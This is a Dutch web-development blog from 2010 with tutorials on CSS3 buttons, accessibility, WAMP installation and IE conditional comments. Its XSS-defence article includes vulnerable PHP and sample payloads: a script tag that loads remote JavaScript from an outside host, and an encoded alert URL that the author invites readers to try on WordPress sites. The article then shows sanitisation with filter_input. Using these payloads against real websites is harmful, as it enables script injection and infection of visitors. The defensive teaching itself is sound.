Zifp.nl

Simpele CSS3 button met 3D effect

Admin — Wed, 03 Nov 2010 21:02:33 +0000

CSS3 bied een heleboel nieuwe gereedschap voor het stylen van een webpagina. CSS3 geeft vooral veel mogelijkheden voor het geven van een 3d look aan je webpagina. Dit maakt CSS3 heel erg geschikt voor gebruik in buttons.

Voor maximale herkenbaarheid moeten buttons net zoals echte knoppen een beetje naar buiten steken. CSS3 geeft ons de mogelijkheid om een illusie van 3D te creëren zonder gebruik te maken van afbeeldingen.

CSS3 effecten die we gaan gebruiken zijn:

box-shadow
gradient

Eerst maken we een normale knop:

Code blok

<button class="knop">Button</button>

We geven hem de volgende stijl mee:

Code blok

.knop{
	border: 1px solid #DA7C0C;
	background-color: #f78d1d;
	color: #fef4e9;
	padding: 6px 16px;
	font-size: 13px;
	font-weight:700;
	cursor: pointer;
}

Deze knop ziet er dan als volgt uit:

Doordat ik gebruik maak van cursor: pointer; verandert de muis in een handje wanneer hij over de beweegt. Dit geeft een gebruiker de hint dat hier sprake is van een knop die ingedrukt kan worden. In een goed ontwerp zal dit effect overal aanwezig moeten zijn waarbij er interactie is tussen de gebruiker en de website.

Als eerste geven we de knop een schaduw effect mee:

Code blok

.knop{
	-webkit-box-shadow: #AAA 1px 1px 4px; /*CSS voor webkit browser*/
	-moz-box-shadow: #AAA 1px 1px 4px; /* CSS voor firefox*/
	box-shadow: #AAA 1px 1px 4px; /* officiële CSS voor Opera*/
}

box-shadow creëert een schaduw rondom het gehele object. Eerst geven we een kleur op. #AAA is een lichte kleur grijs zoals een echte schaduw eruit ziet. Met 1px 1px geven we aan dat de schaduw 1px naar onder en 1px naar rechts opschuift. Met 4px wordt aangegeven hoe groot de schaduw word.

Dit geeft een subtiel schaduw effect waardoor het lijkt alsof de knop uit de pagina gelift word:

De volgende stap is het toevoegen van een gradient. Een gradient is een geleidelijk overgang tussen 2 verschillende kleuren.

Voor een 3d effect zijn minimaal 2 gradienten nodig. De eerste moet van boven naar beneden, van licht naar donker lopen. Dit vormt de basis van de knop.

De tweede gradient loopt van boven naar beneden, van donker naar licht. Deze wordt gebruikt wanneer de knop word ingedrukt. Hiervoor maken we gebruik van :active.

Tenslotte kunnen we nog met :hover een gradient toevoegen voor wanneer iemand met de muis over de knop heen beweegt.

We voegen de volgende code voor de gradient toe:

Code blok

.knop{
background: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));
background: -moz-linear-gradient(top,  #faa51a,  #f47a20);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#faa51a', endColorstr='#f47a20');
}
 
.knop:hover{
background: #f47c20;
background: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));
background: -moz-linear-gradient(top,  #f88e11,  #f06015);
filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f88e11', endColorstr='#f06015');
}
 
.knop:active {
color: #fcd3a5;
background: -webkit-gradient(linear, left top, left bottom, from(#F47A20), to(#FAA51A));
background: -moz-linear-gradient(top,  #f47a20,  #faa51a);
filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f47a20', endColorstr='#faa51a');
}

Opmerking: Hier maken we gebruik van filter:. Filter is specifieke code voor Internet Explorer en is geen CSS3. Filter is bruikbaar vanaf Internet Explorer 5.5.

In -webkit-gradient voor webkit browsers, geven we eerst aan van waar tot waar de gradiënt moet lopen. Daarna geven we aan tussen welke 2 kleuren een gradiënt moet gaan lopen.

In -moz-linear-gradient voor Firefox, geven we eerst aan waar de gradiënt moet starten. Optioneel kunnen we een hoek opgeven waarin wordt aangegeven onder welke hoek de gradiënt moet lopen vb. 90deg. Tenslotte geven we de 2 kleuren op waartussen de gradiënt moet lopen.

Er is geen gradiënt ondersteuning voor Opera.

Met: position:relative en top:1px is het mogelijk om nog een extra illusie van indrukken te creëren. De knop beweegt hierdoor iets naar beneden wanneer je hem indrukt.

De uiteindelijk knop zonder :hover en :active effecten ziet er als volgt uit:

De volledige code:

Code blok

<html>
<head>
	<style type="text/css">
	.knop{
		border: 1px solid #DA7C0C;
		background-color: #f78d1d;
		color: #fef4e9;
		padding: 6 16;
		font-size: 13px;
		font-weight:700;
		cursor: pointer;
		-webkit-box-shadow: #AAA 1px 1px 4px;
		-moz-box-shadow: #AAA 1px 1px 4px;
		box-shadow: #AAA 1px 1px 4px;
		background: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));
		background: -moz-linear-gradient(top,  #faa51a,  #f47a20);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#faa51a', endColorstr='#f47a20');
	}
 
	.knop:hover{
		background: #f47c20;
		background: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));
		background: -moz-linear-gradient(top,  #f88e11,  #f06015);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f88e11', endColorstr='#f06015');
	}
 
	.knop:active {
		position: relative;
		top: 1px;
		color: #fcd3a5;
		background: -webkit-gradient(linear, left top, left bottom, from(#F47A20), to(#FAA51A));
		background: -moz-linear-gradient(top,  #f47a20,  #faa51a);
		filter:  progid:DXImageTransform.Microsoft.gradient(startColorstr='#f47a20', endColorstr='#faa51a');
	}
	</style>
</head>
<body>
	<button class="knop">Button</button>
</body>
</html>

Beveilig je website tegen Cross-site scripting (XSS)

Admin — Tue, 02 Nov 2010 16:45:17 +0000

Een van de belangrijkste dingen om je zorgen over te maken bij het ontwikkelen van een webapplicatie is de veiligheid van je website. Je website staat open voor de gehele wereld en ieder willekeurig persoon kan je website aanvallen. Omdat je van tevoren nooit weet van welke kant de aanval komt is het belangrijk om je website zo veel mogelijk dicht te timmeren zodat niemand je website kan aanvallen.

In een reeks van artikelen probeer ik uit te leggen hoe je, je website kunt beschermen tegen aanvallen van buitenaf. Vandaag gaan we het hebben over Cross-site scripting (XSS).

Cross-site scripting is een aanval waarbij een stuk kwaadwillende code op een website word geïnjecteerd Waneer iemand de pagina bezoekt, word de code uitgevoerd.

Case 1

Stel dat je een website hebt ontworpen waarop bezoekers reacties kunnen achterlaten:

Code blok


  echo "$gebruiker zei $bericht";
?>

De code voor invoer van het bericht kan er als volgt uitzien:

Code blok


  $gebruiker = $_COOKIE['gebruiker'];
  $bericht = $_REQUEST['bericht'];
  if($bericht) {
     opslaan_bericht($gebruiker, $bericht);
  }
?>
 echo $bericht ?>">

Zolang een gebruiker alleen maar simpele tekst invoert is er geen enkel probleem. Doordat er niet gecontroleerd wordt wat een gebruiker schrijft, kan iemand er willekeurige HTML code tussen plaatsten. Door bijvoorbeeld in een bericht te plaatsen kan een aanvaller er bijvoorbeeld voor zorgen dat de HTML van je pagina niet meer klopt. Hoewel dit behoorlijk irritant is, is het nog behoorlijk onschuldig.

Een aanvaller kan ook bijvoorbeeld de volgende code in zijn bericht stoppen:

Code blok

<script src="h++p://abc.com/abcscript.js"></script>

Wanneer iemand deze pagina dan bezoekt, word ook gelijk het script abcscript.js van de website h++p://abc.com uitgevoerd. Deze script kan dan bijvoorbeeld gebruikt worden om een virus te plaatsen op de computer van de bezoeker.

Case 2

Een tweede voorbeeld van een XSS aanval is een aanval via de URL van een website. Veel websites gebaseerd op WordPress hebben een zoekmachine ingebouwd.

Op deze site kan je zoeken door de volgende url in te typen:

http://zifp.nl/?s=zoekterm

In plaats van een zoekterm kan een aanvaller een stuk code invoeren:

http://zifp.nl/?s=

Gevaarlijk aan deze aanval is dat de url er zelf onschuldig uitziet:
http://zifp.nl/?s=%3Cscript%20type=%22text/javascript%22%3E%20alert('XSS!')%20%3C/script%3E
Je kan niet duidelijk zien of er sprake is van een script.

Doordat veel wordpress templates niet goed in elkaar zitten werkt bovenstaande code op een heleboel websites. Probeer maar eens.

Oplossing

Om te voorkomen dat een bezoeker kwaadwillende code op je website plaatst moet alle invoer op je website gecontroleerd worden op vijandige code en moet alle vijandige code verwijderd worden.

Een belangrijk hulpmiddel in het ontdekken van malafide code en het schoonmaken daarvan is PHP’s input_filter extensie.

We kunnen bovenstaande code dan in het volgende veranderen:

Code blok


  $gebruiker = filter_input(INPUT_COOKIE, 'gebruiker',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $bericht = filter_input(INPUT_POST | INPUT_GET, 'bericht',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($bericht) {
     save_message($gebruiker, $bericht);
  }
?>
 echo $bericht ?>">

Belangrijk is om de code zo snel mogelijk na de invoer te valideren en schoon te maken zodat malafide code bijvoorbeeld niet in je database kan opduiken. Hoe eerder de code schoon is, hoe minder fouten er gemaakt kunnen worden.

Er zijn een heleboel verschillende filters voor PHP beschikbaar. Gebruik de filters die toepasbaar zijn op jouw situatie en probeer altijd zo streng mogelijk te controleren.

Je kan er ook aan denken om bijvoorbeeld de functies

Code blok

html_entity_decode()
htmlentities()

te gerbuiken. Deze functies worden gebruikt om speciale tekens naar de juiste HTML code en weer terug om te zetten.

Maak je site geschikt voor gehandicapte mensen

Admin — Wed, 13 Oct 2010 15:18:18 +0000

Als je een website aan het maken bent sta je er niet vaak bij stil dat een grote groep mensen last heeft van een handicap waardoor ze moeite kunnen hebben om jouw site te bezoeken. Zo is bijvoorbeeld ongeveer 1% van de mannen kleurenblind waardoor ze slecht groen van rood kunnen onderscheiden.

In deze tutorial probeer ik een aantal tips te geven waarop je moet letten bij het maken van een website zodat ook gehandicapte mensen jouw site kunnen bezoeken.

Houd je aan de standaard

De simpelste tip die ik wil geven is dat je, je moet houden houden aan de HTML standaarden. Blinden maken vaak gebruik van hulpmiddelen om jouw pagina te lezen. Ze laten bijvoorbeeld een computer de tekst voorlezen. Tekst tussen tags wordt hierbij met een andere toon voorgelezen dan tekst tussen tags.

Visueel geven en hetzelfde effect, echter de betekenis van de 2 tags is verschillend. staat voor emphasize. Iets waar je de nadruk op wil leggen. staat voor schuingedrukte tekst.

Een ander voorbeeld is het verschil tussen en . Visueel zijn ze hetzelfde, contextueel zijn ze echter totaal verschillend. Vind je iets belangrijk, gebruik de tags en vermijd de tags.

Gerbuik Alt-tags

Blinde mensen kunnen afbeeldingen niet zien. Een afbeelding zonder alt tag heeft dan ook geen betekenis voor ze. Als je in de alt tag beschrijft wat er op een afbeelding te zien valt kan een blind persoon hier informatie uit halen.

Denk er aan dat ook veel web crawlers ook geen afbeeldingen kunnen bekijken. Als je een afbeelding geen titel en geen alt tag meegeeft zal google de afbeelding geen betekenis geven.

Check je website voor mensen die kleurenblind zijn

Het beste zou zijn om iemand met kleurenblindheid je site te laten beoordelen. Gelukkig is kleurenblindheid relatief zeldzaam waardoor veel mensen niemand kennen die kleurenblind is.

Gelukkig zijn er op internet hulpmiddelen te vinden waardoor je een website door de ogen van kleurenblind persoon kan bekijken. Colorblind Web Page Filter is er bijvoorbeeld één. Hierop kan je de site checken voor verschillenden typen van kleurenblindheid.

Gebruik em in plaats van px

Wanneer je de fontgrootte in je CSS aanpast kun je het beste gebruik maken van em. Em heeft als voordeel dat het een relatief formaat is. Als een bezoeker de lettergrootte op zijn computer aangepast heeft zal de grootte van de tekst op je website zich mee aanpassen.

Hierdoor kan de bezoeker de lettergrootte van de tekst op je website aanpassen zonder gebruik te maken van een zoom functie. Hierdoor blijft de opmaak van je pagina hetzelfde en wordt alleen de slecht leesbare tekst groter.

Vermijd Javascript en Flash

Hoe mooi ze ook mogen zijn, vermijd javascript en Flash. Blinde mensen kunnen hier niks mee.

Gebruiken mag wel maar zorg er in ieder geval voor dat er op de achtergrond nog een volledig functionele HTML pagina zit.

Installeer Wamp server in windows

Admin — Wed, 13 Oct 2010 14:14:39 +0000

Vorige week legde ik in dit artikel uit hoe je een server in Ubuntu moest installeren. Vandaag leg ik uit hoe je eenvoudig een apache server voor Windows kunt installeren.

De simpelste manier om een apache server te installeren op Windows is door gebruik te maken van Wamp. Wamp is een software pakket voor Windows dat staat voor Apache, MySQL en PHP.

Om Wamp op je computer te installeren hoef je alleen het pakket van de site te downloaden en te installeren. De installatie wijst zichzelf.

Wanneer je het pakket hebt geïnstalleerd hoef je hem alleen nog maar op te starten. Dit kan je doen door ‘c:/wamp/wampmanager‘ op te starten.

De PHP bestanden kan je plaatsen in ‘c:/wamp/www‘. In deze map staat al een PHP bestand die verwijst naar mappen in dezelfde directory. Door mappen aan te maken in ´c:/wamp/www´ is het mogelijk om aan meerdere projecten tegelijkertijd te werken.

Als je naar http://localhost worden de PHP bestanden in ‘c:/wamp/www‘ via de server uitgevoerd.

Naast PHP en MySQL installeert het pakket ook phpmyadmin. Hiermee kan je eenvoudig aanpassingen maken aan MySQL tabellen. Je opent phpmyadmin door naar http://localhost/phpmyadmin te gaan.

Conditional statements voor Internet explorer

Admin — Tue, 12 Oct 2010 15:30:38 +0000

Door middel van conditional statements is het mogelijk om bepaalde stukken HTML alleen voor, of juist niet voor Internet Explorer te laten gelden.

Conditionele statement werken als volgt:

Positief:

Code blok

Negatief:

Code blok
[IGNORE[]]> HTML

Je kan gebruik maken van de volgende condities:

IE

Elke versie van Internet explorer

lt IE versie

Internet explorer met een versie lager dan versie.

lte IE versie

Internet explorer met een versie gelijk of lager dan versie.

IE versie

Internet explorer met een versie gelijk aan versie.

gte IE versie

Internet explorer met een versie gelijk of hoger dan versie.

gt IE versie

Internet explorer met een versie hoger dan versie.